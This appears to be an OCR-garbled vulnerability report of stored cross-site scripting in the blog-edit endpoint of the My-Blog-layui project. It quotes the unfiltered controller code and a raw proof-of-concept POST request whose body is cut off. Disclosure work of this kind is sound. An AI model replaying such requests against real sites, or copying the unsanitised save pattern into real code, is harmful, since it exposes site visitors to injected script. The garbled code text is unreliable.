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My-Blog-layui has Cross Site Scripting
vulnerability in BlogController.java

supplier

https://github.com/ZHENFENG13/My-Blog-layui

Vulnerability file

BlogController.java

describe

There is a cross-site scripting attack in the /v1/blog/edit interface of BlogController.java. The
parameter is directly written into the database without filtering the dangerous function of xss.
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Code analysis

€ BlogController,java £ MyBlogWebMvcConfigurerjava £ AdminControllerjava £ UploadFileUtilsjava E HttpStatusEnum.java € BlogCate

23 A2 ¥4 A~

nan blogTagIds
| blogInfo

@ResponseBody
@PostMapping(®~"/vi/blog/edit")
public Result<String> saveBlog(@RequestParan("blogTaaglds[]1") List<Integer> blogTagIds, BlogInfo blogInfo) {
if (CollectionUtils.isEmpty(blogTagIds) || ObjectUtils.isEmpty(blogInfo)) {
return ResultGenerator.getResultByHttp(HttpStatusEnum.BAD_REQUEST);
I
blogInfo.setCreateTime (DateUtils.getLocalCurrentDate());
blogInfo.setUpdateTime (DateUtils.getlLocalCurrentDate());
if (blogInfoService.saveOrUpdate(blogInfo)) {
blogTagRelationService.removeAndsaveBatch(blogTagIds, blogInfo);
return ResultGenerator.getResultByHttp(HttpStatusEnum.0K);
F
return ResultGenerator.getResultByHttp(HttpStatusEnum. INTERNAL_SERVER_ERROR);
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POST /admin/v1/blog/edit HTTP/1.1 &
Host: 192.168.0.100:8080

Content-Length: 299

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, 1like Gecko) Chrome/131.0.0.0 Safari/537.36

Accept: */*

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.0.100:8080

Referer: http://192.168.0.100:8080/admin/v1/blog/edit?blogId=8
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: JSESSIONID=4D9D6AD7DFES8E8E28DAE2C8732CDD74F

Connection: close

blogId=8&blogTitle=1&blogSubUr1=&tagId=1&blogCategoryId=1&blogStatus=1&blogPrefac
image-
file=&blogCategoryName=%E9%BB%98%E8%AENAABES%88%86%E7%B1%BB&b LogTags=%E9%BB%98%E ¢
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